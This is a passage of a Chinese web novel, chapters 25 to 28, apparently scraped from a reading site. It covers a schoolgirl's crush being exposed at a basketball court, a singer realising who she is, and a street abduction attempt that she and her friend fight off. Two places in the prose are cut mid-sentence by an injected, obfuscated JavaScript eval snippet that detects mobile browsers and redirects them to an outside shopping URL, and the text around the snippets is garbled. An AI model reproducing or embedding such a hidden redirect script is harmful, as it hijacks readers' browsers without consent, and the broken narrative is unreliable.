她的心底蓦然流过一丝小小的短暂的失落,又迅速地消失了。 …… 门口进来一个护士,哈欠连天地过来给黄怀予换瓶子。 黄怀予刚睡醒,脑子还是懵懵的,右手拿起地上的矿泉水瓶,喝了好几口水。 护士换完了输液瓶,瞅了一眼黄怀予怀里的热水袋。 “等会用完了,记得到护士站还给我。” 说完,语气里还有些羡慕地补充道: “你男朋友看着不爱说话,实际上还挺细心的,还特地去护士站找我们给你借了个热水袋。” “长得还那么帅,跟明星似的。” “你可真有福。” 25. 第 25 章 “你男朋友看着不爱说话,实际上还挺细心的,还特地去护士站找我们给你借了个热水袋。” “长得还那么帅,跟明星似的。” “你可真有福。” …… 黄怀予喷出一大口水。 …… “哎呦,你小心点呀!” 护士大呼小叫地埋怨她:“溅了你自己一身,要不要纸?” “……”她一边剧烈咳嗽一边摆手表示不用,脸不知道是被呛红的还是听到了那句话才变红的。 “行,我走了,有事叫我。” 护士又哈欠连天地回去了。 “……” 她盯着面前的空气,只觉得脑子十分地乱,心脏扑通扑通地跳。 想先冷静一下,可是低下头看看身上—— 手里的那瓶水是她趴在路边吐的时候楚恒递过来的。 手背上插的输液瓶是楚恒帮她挂上去的。 最后还有怀里的这个小小的粉色爱心热水袋…… …… 去你二大爷的。 黄怀予咬牙切齿地想,长得这么好看,平时估计在女人堆里活着的吧?丫头,我承认你的小花招吸引到我了。 ……但是想到那双冷淡的桃花眼,以及这一路上的沉默疏远,黄怀予又觉得不太可能。 他确实不像是这样的人。 …… 那这人到底是冷是热? 他到底什么意思? 黄怀予那个能做出无数三角函数大题的脑子此时却已经完全一团浆糊,她皱眉,沉默地坐着。 …… “外甥女!” 黄怀予猛然抬头,果然看见前方,李鸣月拎着一大袋什么东西,像做贼一样鬼鬼祟祟地走进来,还时不时看看角落里那对正在旁边输液的母女,生怕自己吵醒她们。 “我刚下去给你买吃的了!打完这瓶我们就回去!你泉姐已经在家等着了。” ……黄怀予突然回过神,看了一眼墙上的钟。 ——已经十一点过二十分了。 她喃喃地问:“你什么时候来的?” “十一点啊。” 十一点? ……所以,他应该早就走了吧。 李鸣月大剌剌地坐在黄怀予的左边,黄怀予不由自主顺着李鸣月的身影看过去——李鸣月坐的,正好就是之前,他坐的位置。 李鸣月一屁股坐下来,继续叨叨说道: “楚恒可真够意思,把医药费全都付了,我说要转给他他还不要。” “我心里太过意不去了,虽然他来楚门所有费用我都给报销,但是这是应该的,让人家大老远过来给我当歌手!哎不过,说来说去还是你小姨我人缘好!哈哈哈!” “所以我十一点到了这,就赶紧让他回酒店休息了。” …… 她坐在黄怀予左边,有一句没一句地聊着,突然闭了嘴,打了个冷战。 “我去,这地方怎么这么冷,空调对着吹啊!” “哎?” “你哪来的热水袋?” ——紧接着,黄怀予左边就突然伸过来一只手,十分迅速地一下子抽走了她怀里的热水袋。 ……唯一的热源消失,她的怀里瞬间变得空落落的。 “哎!” 黄怀予吓了一跳,条件发射就想去拿回来。 可是手伸出去的一瞬间,又猛然停住。 ……李鸣月只是看看而已。 她在干什么?她为什么要去把它抢回来? …… 她一时间进退两难,那只手悬在半空,呆呆地停留两秒,又没有结果地自行收回。 “你帮我还给护士站的护士吧。” 她干巴巴地开口。 …… 墙上的时钟还在嘀哒哒地走着。 ……像一串不知从哪里开始的泡沫,涟漪荡起,无处寻踪。 * 两人一直到凌晨两点才到家。 黄怀予等李鸣月停好车,和她一起上楼,一眼就看见门口,喻轻泉穿着柔软的白色睡衣,长发飘散,脸上带着笑。 “回来了!” 看到她早已经给自己准备好了单独的房间和一套干净的睡衣,黄怀予十分感动,又想到明天上午已经请了假,自己等会可以一觉睡到明天中午,简直要奢侈得哭出来,立刻转身扑到喻轻泉身上:“泉姐!” 随后手臂就被另外一个人立马拉开。 “没大没小。” 李鸣月不满地自己牵起喻轻泉的手,头也没回地准备回主卧。 “自己洗澡睡觉啊,别来打扰我们。” 黄怀予嘻嘻哈哈地躺在沙发上,傻笑道:“明天不用早起了。啊,要是每天都能得肠胃炎该多好。” 回头就看见李鸣月似笑非笑的脸。 她歪头,看黄怀予一眼,声音里带着一丝揶揄。 “你是为了每天都不用早起,还是为了每天都可以见到某个人?” “……” * 黄怀予一觉睡到了上午十一点。 这对于一个高三生来说,实在是一个太奢侈的长久的觉了。 睁开眼睛的那一瞬间,她都有点恍惚,有一种自己进入了异世界的感觉。 …… 今天是周五,她告别李鸣月和喻轻泉,去了学校,没想到路上才看到班群里的消息,今天学校上午十一点的时候突然停电,下午直接放假半天。 她转身回了家,路上有些忐忑地划着微信聊天框,心想自己昨晚消失了一整晚加今天一整个上午,苏琬和谷奕肯定会盘问自己到底去了哪里。 她路边买了一根烤肠,一边咬着一边心怀鬼胎地盘算应该撒什么谎。 ——可是还没等盘算出来,就看见微信页面空空荡荡,什么都没有。 嗯?不对劲。 苏琬不问,谷奕那个闲不下来的怎么可能也不问? 黄怀予停住脚步,咽下嘴里的肠,直觉有问题。 …… 白度在这时候却发来一条抱怨的消息: “杯子,你昨天晚上去哪了?看到朋友圈才知道你莫名其妙居然进医院了……” “还有苏琬和谷哥,吃完晚饭也一起不见了!” “很晚很晚才回到宿舍,谷哥还带了一身伤回来,问他他也不回答,神神叨叨的。” ? 黄怀予迅速抓住重点:“他们是一起不见的?” “是啊。” “……” 她收起手机,平白无故生出一股愤怒。 好了,这下扯平了。 原来三个人都心怀鬼胎!!! * 就在这种有一点点奇怪的氛围里,黄怀予在家吃午饭的时候,收到了苏琬的消息,问下午放假,要不要一起去图书馆。 黄怀予自觉自己和苏琬之间不能有任何隐瞒的事,于是决定下午直接跟她坦白自己昨晚的事,但是作为交换,也一定要知道她昨天和谷奕到底去哪了。 行!就去当面说清楚! 想明白了,黄怀予心情又变好起来。 ——只是这样的好心情并没有持续多久。 因为当她背着书包,走到市图书馆附近的时候,居然一眼就在图书馆旁边的篮球场上,远远地,看见了卫语。 …… 楚门市图书馆就在一中附近,周围绕着湖,风景优美。 因此平时周末的时候,有很多一中的学生都会来市图书馆学习。 只是,黄怀予从来没碰见过卫语。 …… 她停住脚步,原地站定,就这样远远看着球场上那个曾经十分熟悉、永远也不会忘掉的身影。 是今天下午放假,他才来这里打球? 往旁边一看,居然还看见了程朗。 ——她立刻想起开学典礼那天上午,程朗在自己身后蹭来蹭去说的话。 他倒是没说谎,他跟卫语确实是篮球搭子。 ——只是,他认为自己和卫语“很熟”,这就是他自作多情了。 毕竟,连卫语和冯尽欢之间的关系都不知道,这种“熟”实在是没什么说服力。 …… 她只是站在原地看了三秒钟,就立刻低着头走开了。 上次程朗威胁她的话还在眼前,她一下子碰见了这两个人,直觉要坏事。 于是她立刻转身,低头,想绕过这个球场,走小路去图书馆。 没想到下一秒: “哟,杯姐——” 黄怀予脚步一顿。 她重重地呼出一口气,心里已经把那个声音的主人程朗在心里骂了一千八百遍。 黄怀予没回头,反而加快脚步,准备当作没听到。 “哎,怎么还装没听见呢?” “杯子!——” 程朗欠揍的喊声从身后传来,她脚步又停住,脸上的表情阴沉得可以滴出水。 话已至此,她知道自己再往前走就太没礼貌了,只能 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楚恒没想到,会在楚门的这个球场上,碰见昨天晚上的那个女生。 …… 昨天谷奕听说他来了楚门,特别高兴。 两人已经有快一年没有见过了,谷奕又因为这几天看不了球赛而心痒难耐,于是直接找了一个学校附近最近的球场地址,发给了他,约他今天下午在这里见面。 他比约定时间早了十几分钟,谷奕还没来。 两个球场都有人使用,他放下包,坐在旁边的座位上等着。 ——只是没想到,场上的一个男生似乎朝着左边调笑着喊了两句“杯子”。 他跟着往左一看,一下子就能看见场外,正站着一个背着书包的短发女生。 ……他目光一滞。 那女生背对着他,可是背影,却完完整整地和昨天晚上那个身影重合起来。 …… 黄怀予站在原地,脸色青紫,双手手紧紧握成拳。 她动也不动。 甚至不敢转过头。 她身上这个隐藏了五年的最大的秘密,被人用这样调笑戏弄的方式,最大限度地、直直愣愣地揭发了出来。 而这个秘密的当事人,也在旁边。 黄怀予心沉到了最低点,却反而摒住了呼吸。 她没有听见身后有任何声音,没有疑问,没有好奇,没有打圆场,没有觉得是玩笑而一笑了之。 后面什么声音都没有,是死一般的沉寂。 …… 她突然松了一口气。 是啊,在卫语心里,她本来就是这样的。 是失败的,是普通的,是肥胖的,是总是只能考到第二名却又总是不知天高地厚说要打败他的,是像有斯德哥尔摩症一样在他女朋友冯尽欢的朋友们面前充当小丑的。 听到这样的自己,喜欢他,要和他表白,他能有什么反应呢? 他能说什么话呢? 无言而已。 沉默而已。 …… 一向能言巧辨牙尖嘴利、从来都不服输的黄怀予,此时此刻却像哑巴一样,被钉在原地,脸低低地垂着,没有人能够看到她的表情。 ——她本可以转过身,像平常一样,装作平时扮演过无数次的最得心应手的吊儿郎当插科打诨的样子,笑着骂程朗几句脏话,让他别瞎说,别欠揍,别犯贱。 ——然后再像普通同学一样,对旁边的卫语笑一声,说哟学霸你也来打球啊,别听程朗犯贱,他不交作业,我不愿意给他遮掩,他故意报复我而已。 ——最后再潇洒地转过身,好像没事发生,走向图书馆。 …… 可是她动不了。 很多片段像潮水一样涌进她的脑子,比如她曾经神秘兮兮地告诉当时的朋友冯尽欢自己喜欢卫语,而冯尽欢却只是似笑非笑地看着她。 比如初中毕业的那个暑假,她就在鸡鸣区的湖边,看见卫语和冯尽欢手牵手一起散步在柳树下。 …… 很多很多莫名其妙的回忆,像潮水,像海浪,像洪灾来临,像太平洋深处的暴风雨。 她动不了,她也思考不了,她只是这滔天海浪中的一只破旧的独木舟,这个世界不由她说了算。 相反,她随时随地就会被这些回忆轻而易举地杀死。 26. 第 26 章 一句玩笑话,两个沉默的人。 这么劲爆的秘密,却没人接他的话——程朗在这长久的寂静中好像终于意识到了一点不对劲。 往左看看,卫语皱着眉,面色有些难看。 往前看看,黄怀予背对着他们,像是被定住了,握着拳头一动不动。 ——他懵了。 …… “你好。” 一个低沉的平静的声音传来。 程朗和卫语转头。 ——只见一个穿着黑色短袖,带着口罩和帽子的金发男生,正在球场边的座位前站着。 他身姿挺拔修长,随意站着,脸微微扬起,风吹起他鬓边的金色头发,口罩挡住了脸,只露出一双精致柔和的桃花眼。 “这球场你们还用吗?” 他淡淡地开口。 听到一个有些熟悉的声音从身后传来,黄怀予睁大眼睛,瞬间回过头。 ——然后,就这样,惊讶地看见了球场边站着的楚恒。 他侧身朝程朗和卫语站着,插着口袋,背着包,黄怀予只能看见他那个被口罩挡住了一大半的侧脸,以及后脑勺被帽子压住的金色头发。 他怎么在这里? 她呆呆立着,眼神怔然。 …… 刚刚三个人之间的尴尬气氛被打破,程朗和卫语的注意力已经被转移到了楚恒那边。 黄怀予有些惊魂未定地盯着楚恒几秒钟,却发现他始终都没有朝自己这边看一眼,仿佛没有看见她——或者是没有认出她。 ……是啊,他本来就冷淡,对其他事都不关心,不会管三个陌生路人之间的爱恨情仇。 她垂下头,呼出一口气,立刻转身,脚步飞快地逃离了。 …… 面对这个陌生男生的询问,程朗和卫语对视一眼,说: “我们应该要在这里一直打到下午四五点吧。” “……那介意一起吗。” “我还有一个朋友,等会就到。” 楚恒话音刚落,球场门口就传来一个风风火火的声音: ——“哟,今天你们怎么都在这?” 三人回过头,看见谷奕一身蓝色球衣,穿着白色球鞋,身材高大,拎着一个运动包,正步伐轻快地走进来。 …… 楚恒在一边看着谷奕和程朗开始熟捻地聊天,沉默几秒,不甚关心地转过头。 他突然回头,朝球场外看过去。 ——却看见刚刚球场外那个僵硬不动的身影,早就已经不见了。 …… 谷奕今天穿的球衣是FREE的。 这是一个国内小众潮牌,谷奕很喜欢这个牌子,有很多件这个牌子的卫衣和短袖,还认识这个牌子的主理人。 这个牌子最特别的设计就是,一般的上衣LOGO都在胸前或者后背,但是这个牌子的LOGO却在下摆。 他冲到楚恒身前,用力抱住了他的肩膀。 “兄弟!好久不见!” 他兴奋地看着眼前的老友,突然有些感慨:“瘦了。” “……” 楚恒只是静静地看着他,点点头,没说话。 但是谷奕已经明显可以看到,楚恒明显已经放松了下来,“生人勿近”的气场收敛了很多,嘴角扬起微小的弧度。 “好久不见。” 他说。 “哦对了,去年送你的那件黑色卫衣喜欢吗?”谷奕低头看了看楚恒的上衣,“哎今天怎么没穿?” “昨天穿了。” “那就好!”谷奕拍拍他的背,“我特地找FREE的设计师给你定制的,你要是喜欢,今年你生日我再送你一件。” “什么什么?什么衣服?我也要!”旁边的程朗凑过来一个头。 “你想得美!” 谷奕揍了一下程朗的脑袋,无情推开他。 “你以为定制很容易?因为我是VIP客户才能定制的!在衣服下摆的LOGO那里定制了名字缩写,全世界独一无二的,工期一两个月呢!” “程朗!” 卫语的声音从后面传来。 “还打不打?” “哦哦!打打打!” 程朗拉着谷奕,向卫语介绍:“这是谷奕,我们一班的。” “这是卫语,五班的,学霸!” 谷奕看卫语一眼,点点头:“听过。” ……开学典礼那天,听过他的国旗下讲话。 …… 程朗好奇的目光转向一旁又恢复冷淡样子的楚恒。 “这位……也是你朋友?刚刚还问我们要不要一起打。” “哈?!” 谷奕闻言,惊讶地转头看后面几步远的楚恒,却看见他已经摘了口罩,脸上没什么表情,站在一旁,像是对他们几人的社交完全不感兴趣。 ……楚恒这么内向不爱说话的人,居然会主动邀请程朗和卫语打球? 他们刚刚根本都不认识! 谷奕挠挠头,看着楚恒看向别处的平静侧脸,很快完成了自我说服。 总共就两个场子,另一个也有人用,与其在旁边等着,不如一起加入。 嗯,楚恒只是这样想的而已。 ——于是这场莫名其妙的四人篮球,终于还是稀里糊涂地开始了。 …… 程朗在楚恒摘下口罩以后,目光就一直停留在楚恒身上。 ……长得很好看,还染了一头金发,看上去很高冷,像明星或者网红,完全不像是会出现在楚门图书馆旁边的篮球场这里的人。 他时不时盯着楚恒看,篮筐下一个错身,两人不小心撞到,楚恒一下子跌倒在地。 程朗立刻上前扶起他:“不好意思哥们儿。” 可是手刚伸出去,还没碰见那人的衣服角,楚恒却看也没看他,躲开了他的手,自顾自地站了起来。 ……程朗的手尴尬地晾在原地。 谷奕习惯了楚恒的性子,上前拍拍程朗,帮忙解围:“我兄弟话少,不好意思啊。” 程朗:“既然这么不愿意和陌生人打交道,为什么还邀请我们一起打?本来刚刚我和卫语两个人打得好好的。” “……另外一个场子也有人,他懒得等而已。” …… 程朗终究还是没有相信谷奕的这个理由。 因为这一整个下午,楚恒就像有什么气一样,只是闷着头打,完全没有任何休息的意思。 四个人里,楚恒平时天天泡练习室,一天练七八个小时都是有的。谷奕也天天打球,个子高体力好,也一直游刃有余。程朗是足球体育生,也完全跟得上节奏。 ——除了卫语。 他只是把运动当成业余爱好,平时大部分时间都在教室里做题。 ……他气喘吁吁地撑着膝盖站在场地中间,衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252947|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服全部湿透,满头都是汗,很是狼狈。 他皱眉看向前方那个高个子金发男生的身影,对方正好看过来,下巴微微仰起来,面容冷峻,居高临下地盯着他。 ……他直觉觉得楚恒不喜欢自己。 可是紧接着,他就觉得不可能,两个人今天第一次见面,何来的过节? …… 下午六点,太阳快要下山,几人散场。 谷奕拿了瓶水,坐在楚恒旁边,试探性地问:“兄弟,今天不开心?” 楚恒默了一瞬,摇摇头。 又突然开口问道: “他们俩,都是一中的?” 谷奕点点头:“我们三个都是一中的。那个愣头愣脑的,叫程朗,跟我一个班的,都是一班。旁边那个成绩很好,是五班的,不过我也是刚刚才认识。” “……” 楚恒垂头听着。 他缓缓眨了眨眼睛,继续开口问道:“那会和他们认识的人,应该也都是一中的——” “谷奕,我们走了啊!” 楚恒的话没说完,就被前方的一道声音打断。 谷奕立刻抬起头,招招手,又好像突然想起什么,立刻站起来,朝前面程朗和卫语的身影走过去。 “哎!等等,我突然想到,马辉有没有说过,周末应该不补课吧——” 他一边说着就已经走上前,追上那两个人,声音越来越远。 …… ——楚恒没有再说下去。 他双手撑在座位上,夕阳西下,橙黄色的阳光落在他身上。 一个冷漠十足的人,却被这层夕阳镀上了一层温暖的柔和光晕。 像是一个短暂的虚幻的梦境。 ……他眸子低垂。 过了很久,只是缓缓地回过头,幽深的眸子不经意间望向了球场外的,某一个方向。 * 周日下午五点,1969酒吧,演出还有两个小时就正式开始。 酒吧还有一个小时才开门营业,李鸣月和录音师最后检查了一遍设备,确认所有的流程都没问题。 “月姐。” 身后传来楚恒的声音,李鸣月转过身,果然看见那双漆黑瞳孔的桃花眼。 他旁边还跟着一个很高的男生,约莫十八九岁,比楚恒还要高一点,黑色短发,眉眼凌厉,穿着牛仔裤,插兜随意地站着。 “这是我朋友,谷奕,在楚门读书。” “这是月姐,我的老师。” 李鸣月做生意的本能立刻出现,打量了一下谷奕,立刻就反应过来这就是楚恒说的自己今晚要来看演出的那个朋友。 ——于是她对着谷奕,脸上瞬间出现极其亲切的笑容。 “哎呀没有没有,楚恒太客气了,我以前在他公司里当过声乐老师,教过他而已,不用叫老师!” “你在楚门读书啊?哪个学校的?” 谷奕回答道:“楚门一中。” “哟!” 李鸣月一惊一乍。 “一中的啊?我以前也是一中的。” “我外甥女也在一中嘞!” ——一旁的楚恒突然愣住,然后猛然抬起头。 李鸣月越说越来劲:“哎你哪个班的?” “301。” “什么?高三一班?” 李鸣月惊讶地抬眉:“这么巧,我外甥女也是高三一班的。” 27. 第 27 章 “这么巧,我外甥女也是高三一班的。” …… 楚恒闻言,眉心微微皱起。 他紧紧盯着李鸣月的脸。 不知道为什么,这一刻,他居然十分紧张。 ……心中有一个盘旋了三日的猜想,仿佛离他越来越近,仿佛马上就要得到解答。 “真的吗?”谷奕来了兴趣,突然变得有点兴奋,“月姐,你外甥女叫什么?” 楚恒下意识捏紧了拳头,喉结滚动。 …… “黄怀予。” 李鸣月自豪地拍拍自己的胸膛。 “认识吧。我外甥女经常考全班第一的。” …… “啊?!” “黄怀予是你外甥女?!你是黄怀予小姨?!” “我们是朋友!” 谷奕咧开嘴,笑了,露出一排洁白的牙齿。 “很好的朋友。” …… “哎呀,是吧?你们高中三年都一直在一起玩对吧?真是有缘分啊!” “哦不是不是。”谷奕摆摆手,“我是今年九月份才刚刚转学过来的。” “……”正在侃侃而谈的李鸣月突然没声音了。 她微微顿住,脸上的表情瞬息万变。 ——她沉默地盯着谷奕的头顶看了三秒,然后问: “……你以前,是不是黄头发?” “对,前几周我刚染成黑色。”谷奕有些震惊道,“这你都知道?……黄怀予连这样的小事都跟你说?” “……哈哈哈。” 李鸣月挤出几声干笑。 小事? 狗屁的小事! 他染黄毛,四个人出来吃夜宵被朱秋霞发现,四个人逃跑,朱秋霞发飙,四个人被全校通报批评,黄怀予被请家长…… ——这一连串蝴蝶效应的最后,她,作为黄怀予的小姨,不得不担负起她家长的重任,在如今27岁的高龄,还要战战兢兢地在朱秋霞办公室里装孙子听批评。 ……李鸣月又想起她在楚门一中门口和黄怀予说的话。 “你说新来了一个转学生?” “染个黄毛?” “你跟这种人玩什么!” “染头发的高中男生都是小混混,能是什么好人?” “……哈哈哈,真是有缘分。” 李鸣月看着面前爽朗笑着的高大男生,从喉咙里硬生生挤出几个字。 …… 谷奕看着李鸣月说完一句“吃好喝好”以后就有些僵硬地转身离开了,开心地应了句“谢谢月姐!”,拉着楚恒准备坐下。 ——却发现旁边的人怎么也拉不动。 …… 楚恒立在原地,动也不动,脑子里刮过无数风暴。 原来……就是她。 她就是黄怀予。 ……那个只存在于谷奕电话里的名字,只飘散在谷奕讲的关于楚门的故事里。 潇洒张扬,恩怨分明,想做什么就做什么。 两部手机隔着遥远的一千公里,交汇着两个完全不同的世界,生活着两群完全不同的同龄人。 ……他有时,真的有些羡慕谷奕。 他躺在宿舍冰冷坚硬的地板上,练了一天舞蹈后的手臂肌肉传来阵阵酸痛,大腿上有刚刚结痂的浅浅刀口,旁边的垃圾桶里扔着吃了一半的蔬菜沙拉。 总是在这种时候,电话铃声就会响起。 谷奕的声音就会这样突兀地在如同坟墓一般安静的房间里响起,滔滔不绝地、有些散漫地,讲着那个经济落后的小城市,总是睡不醒的早自习,黏了吧唧的热干面,教室前方醒目的高考倒计时…… ——以及左边和后面坐着的两个性格截然相反的女生。 ——一个很温柔,看上去很乖,却很有主见,居然打了六个耳洞。 ——一个脾气暴躁,每天都嘻嘻哈哈地讲着各种笑话,但是很够义气,在凶狠的教导主任面前帮他揽罪。 …… 杯子? 杯子。 怀予。 楚恒脑中闪过一个直接无比的猜想,终于恍然大悟。 * “什么?!” “杨天奇找人在小巷里堵你们?!!!” 苏琬赶紧捂住黄怀予的嘴,有些无奈:“你答应我不激动的。” “唔唔唔!” 黄怀予抓住苏琬按在自己嘴上的手,拿下来,有些心惊胆战地上下看了看苏琬。 “真的没事?” 苏琬点点头。 “报警啊!” 她迅速掏出手机,又被苏琬伸出的手给按住。 “没有受什么伤,甚至是谷奕先动的手。顶多算互殴,没什么用的。” 黄怀予顿了下,想到苏琬懂一点法律,瞬间泄了气:“真是憋屈,都被打了还没结果!” “算了吧,眼下也只能忍着了。”苏琬垂下头。 “不过,杨天奇第一次找你要Q/Q失败就去食堂蹲守,在食堂和谷奕打架失败就紧接着找人在巷子里堵你们。” 黄怀予皱着眉头说着,一下子意识到不对劲。 “这人睚眦必报,这次肯定也不会善罢甘休。更何况,听说他家很有背景,肯定更不会放过我们。” “……”苏琬听到这话,犹豫两秒,终于才开口道,“所以,我周五下午没有回学校,而是直接和你一起回了你家。他知道我住校,我怕他又在学校附近纠缠。” “这么说,你周末这两天住我家也是因为这个?!” “你怎么不早说?!” …… “……我怕你担心。” 苏琬轻轻叹了一口气,握住了黄怀予的手。 她以前就经常住黄怀予家。她怕告诉了黄怀予,让黄怀予担心。 “那天月考结束的那天晚上,看你朋友圈,知道你去了酒吧,还一高兴就吃到急性肠胃炎……好不容易一个月考完试才能歇一会,不想跟你讲这些不高兴的事。” “……” 黄怀予本来满腔愤慨,听到“酒吧”两个字又呆住,有点心虚地闭了嘴,嗯嗯啊啊了半天,最后什么也没说出来。 …… 其实不止苏琬有事瞒着她,她几天也一直心神不宁。 她刷到了李鸣月的朋友圈,知道了酒吧设备已经维护好了,周日晚上就会重新开业表演。 那……楚恒周日晚上应该会去的吧? 肯定会去,不然周四晚上他怎么会去彩排? 毕竟李鸣月说的那位从帝都特意请来的贵客,就是他。 于是,她开始频繁地刷手机,点开“小姨”的聊天框,却又反复关上。 ——不行,要是直接这样问,一定会被李鸣月嘲笑死。 周四晚上回到她家的时候,她就已经在揶揄自己了!! “你是为了每天都不用早起,还是为了每天都可以见到某个人?” …… 你管我为了什么呢! ……黄怀予郁闷了好几天。 她自己都不知道,这种郁闷是因为周五在球场上被程朗当面揭发秘密,还是因为想知道楚恒周日晚上到底会不会来1969。 于是,等她把这周末给自己安排的所有学习任务都做完了,终于捱到了周日晚上九点钟的时候,她终于一拍桌子,拉着苏琬出了门。 ……又不是去看某个人的。 只是去看看1969的演出而已。 她这样告诉自己。 …… 周日晚上九点半,步行街附近灯光闪烁,街边三三两两还有行人压马路。 黄怀予牵着苏琬走在街边,向着人民路的方向走去。 突然,路边停下一辆车,下来两个穿黑衣服的男人,一个带着口罩,一个是光头,立刻抓住苏琬的手,直接想把她拖上车。 一切都发生在电光火石之间,苏琬反应过来一边叫“杯子!”一边挣扎。 黄怀予立刻拖住苏琬,大喊:“你们干什么?!” 她用尽全力拉住苏琬的手臂,下一秒就被口罩男狠狠扇了一巴掌。 ——黄怀予被扇得眼冒金星,鼻子上的眼镜框都被甩了出去,掉在地上,又被口罩男一脚踩碎,她眼前瞬间一片模糊。 但是她右手死死抓着苏琬的手臂,怎么也没松开。 “救命!着火了!着火了!” “人贩子!有人贩子!” “有人卖毒品!有人卖摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没了黄怀予的拉制,苏琬瞬间失去了一大部分的力量,也被光头男刚刚的那一撞甩到在了地上,左脚脚踝重重地擦过车面,扭得她痛呼出声。 她痛得直冒冷汗,又躺着无法使上力气,于是被光头男从身后一下子就拖到了车里,最后用双手死死地抓住了车门。 …… 眼看着旁边跪倒惨叫的口罩男马上也要站了起来,黄怀予忍住浑身的痛,再次挣扎着爬了起来,冲到车门旁,扯住了苏琬的左手手腕,用尽全力把她往外拖。 两人一起用力,黄怀予力气又大,苏琬瞬间就被重新拖了出来。 车里的光头一下子也被带着往前栽倒,苏琬一下子失去了身后的禁锢,转身就伸出了手指,狠狠地抠进了光头的眼睛里。 ——刚刚还凶神恶煞的男人瞬间失去了力量,捂住眼睛发出惨叫,倒在车门边。 两人一下子逃离了所有桎梏,于是再也不看身后的场景,手拉手疯狂地往外跑。 黄怀予眼镜被甩飞踩碎,又挨了重重的一巴掌,左手手腕也传来剧痛,此时头晕脑胀,眼前世界只有模糊的线条和色块,跑起来深一脚浅一脚。 苏琬握紧她的手,跑到她前面,大喊:“别怕!这里都是平路。” 两人咬牙不要命般地跑了十几秒钟,身后隐隐约约传来男人愤怒的咒骂声。 苏琬咬牙忍着脚踝的剧痛,心里有些绝望,突然看见前方有一条街口,人群数量明显变多,于是立刻向着那条街的人群跑去。 黄怀予被苏琬拉着,跌跌撞撞地跑着,突然隐隐约约在前方的一片模糊中看到了一个十分醒目的大红色招牌,中间有四个黑色数字“1969”。 …… 后面两个男人的声音越来越近,她抓紧苏琬的手,喊:“这里!” ——两人一起向1969跑去。 酒吧门口有一级木质台阶,黄怀予没看清,一下子被绊得摔倒在地。 眼前晕得厉害,浑身都疼,身下是冰冷坚硬的地面,摩擦得皮肤生疼。 她艰难抬起头,模模糊糊中,看见了一头金发,和那双瞳孔漆黑的眼睛。 耳边传来谷奕惊讶的呼喊:“卧槽!你们两个——” ……没事了。 她骤然放松下来,闭上眼,歪倒在地上。 28. 第 28 章 ——三分钟前。 楚恒和谷奕走出酒吧,关上门。 演出已经结束,此时已经是晚上接近十点,有一些人已经离开,但是1969里依然喧闹无比。 “明天就回帝都吧?” 李鸣月送两人出来,拍拍楚恒的肩膀,满脸欣慰的笑意。 “表演很成功!大家都说你唱得很好。” “楚恒,要相信自己。” “在帝都遇到任何困难,随时来楚门找我。1969永远欢迎你。” 她话里似是意有所指,过了一瞬后就笑着说:“明天一路顺风。下次有空再过来玩哈!” “月姐月姐,那我呢?”谷奕在旁边插过来,一脸兴奋,“你的酒吧真好玩!东西也好吃,歌也好听,下次我还能再来吗?不用预约直接进场的那种!” 李鸣月脸色一变。 “……哈哈。你,就再说吧,哈哈。” * 楚恒震惊地看着眼前的女孩。 她头发散乱,满身狼狈,最后抬起头看了他一眼,就瞬间倒在了1969门前的楼梯上。 …… 脑子还没反应过来的时候,楚恒的身体已经先一步做出了反应,立刻弯下身去扶她。 耳边突然传来李鸣月的尖叫: “怎么了!怎么了!” ——下一秒,李鸣月就立刻冲到了黄怀予旁边,把楚恒挤了出去,用力晃黄怀予的肩膀。 “黄怀予!黄怀予!醒醒!” 黄怀予闭着眼,不仅没有醒,反而嘴角慢慢流出了血。 “卧槽!外甥女——” 李鸣月瞪大眼睛,急了,话里已有哭腔。 她用力掐黄怀予的人中,突然看见黄怀予的脸上红肿一片,还有一个鲜明的掌印。 “痛……” 黄怀予皱着眉,睫毛颤抖,睁开了眼,就看见李鸣月一副要死的表情。 “你怎么吐血了?!” “我……”黄怀予舌头痛得厉害,含含糊糊地说,“我自己把舌头咬破了。” “……” 李鸣月抱住她;“你吓死小姨了!” …… 苏琬弯下腰,之前扭到的脚踝又刚刚经历了一阵疯狂的跑动,此刻早已痛得她冷汗直流。 她皱起眉,下一秒半边身体就被一个高大强壮的身影稳稳地扶住,腰上多了一只有力的手,一下子托住了她身体一半的重量。 ——她抬头,谷奕的脸出现在她面前。 苏琬缓慢地眨眨眼,大半个身体终于放松下来,疲惫地靠在谷奕身上。 谷奕抓紧她的手臂:“怎么了?!” “……” 苏琬没回答,回过头。谷奕顺着她的视线望过去: ——不远处,人群中,两个凶神恶煞的黑衣男人,正站在街角,阴暗地盯着他们。 那两个人一路追着苏琬和黄怀予到了酒吧附近,眼看着她们摔倒在酒吧门口。 但是,他们仍然没走,以为酒吧这种地方本身就鱼龙混杂,就算她们现在逃到了人多的地方,自己也可以趁乱带走她们。 ——但是没想到,被她们在酒吧门口撞到的几个人好像正好认识她们。 两人立刻有些踌躇,审时度势,一时没有上前,只是在距离不远处的街角,阴恻恻地观望。 …… 此时,两人看到谷奕投过来的凌厉目光,终于决定放弃,不甘心地转身走了。 谷奕盯着两人的背影,眉头皱得很紧。 耳边传来苏琬有些颤抖的声音: “……应该是杨天奇。” “……” 谷奕面色瞬间冷下来。 操。 给他脸了。 欺负人欺负到你爷爷头上来了! ——他扶着苏琬坐到了门口的凳子上,转身,立刻朝离开街角的两人快步走去。 …… “谷奕!” 苏琬惊讶地喊他,伸出手,但是抓了个空,谷奕已经带着满身怒火追了出去。 “哎!谷奕!” 李鸣月闻声抬头,看见不远处谷奕居然几步就追上了那两个黑衣男人,抬起一脚就用力踹了过去。 …… 三人打作一团。 